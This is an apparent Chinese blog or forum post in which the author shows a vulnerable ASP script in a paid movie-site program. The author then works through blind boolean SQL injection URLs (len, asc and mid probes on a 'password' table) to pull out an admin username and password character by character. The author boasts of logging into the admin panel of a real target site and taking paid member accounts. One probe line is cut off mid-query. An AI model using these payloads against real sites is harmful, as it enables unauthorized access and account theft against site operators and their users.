近日学习sql injection,下载金梅收费电影程序2003会员版看了一通, 现movie.asp这个文件有问题, dim sql dim rs articleid=request("id") set rs=server.createobject("adodb.recordset") sql="update learning set hits=hits+1 where articleID="&articleid rs.open sql,conn,1,3 sql="select * from learning where articleid="&articleid rs.open sql,conn,1,1 title=rs("title") ittype=rs("typeid") 没有对变量做任何检查,那就别怪我了,呵呵,找了个目标网站, 我们开始测试管理员帐号的位数,因为保存管理员帐号的字段名为name,所以语句为: http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)>4) 正常返回页面,由此我们可以知道管理员的帐号是大于4位的! 我们继续, http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)> "无法显示网页",出错了,由此我们可以知道管理员的帐号是大于等于8位的 我们再来, http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)=8) 正常返回页面,好极了,由此得出 name为8位 同样 http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(pwd)=21) 正常返回页面 pwd为21位,TNND的,这么长!
不管了,我们接下来开始测试管理员的用户名 http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))>50) 正常返回页面,看来还不够大. 注:mid函数可以把密码分成若干部分取出,使用方法 mid(字符串,起始位,取出的字符串的长度) http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))>100) "无法显示页面",看来比100还小. http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))=100) 正常返回页面,于是我们可以得到管理员的用户名第一位的asc码为:100 通过查询asc码表可以得到, name的第一位为:d
接下来顺利的得到了name=darkeyes^ 然后我们开始测试pwd,呼,有21位啊,真是路漫漫其修远啊!:) http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))>100) 正常显示页面,再来 http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))>110) "无法显示页面",比110小哦,呵呵 http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))=102) 正常显示页面,对了,得到 pwd的第一位为:f
最后顺利的得到了 pwd=xyfsdb7ew8y654231123d 找到管理页面,登录进去,拿了几个黄金会员的帐号,就去慢慢欣赏movies了,呵呵
注:文章拿去投稿了,到现在还没结果,如果你看了觉得好,也最好不要拿去转载,谢谢!

|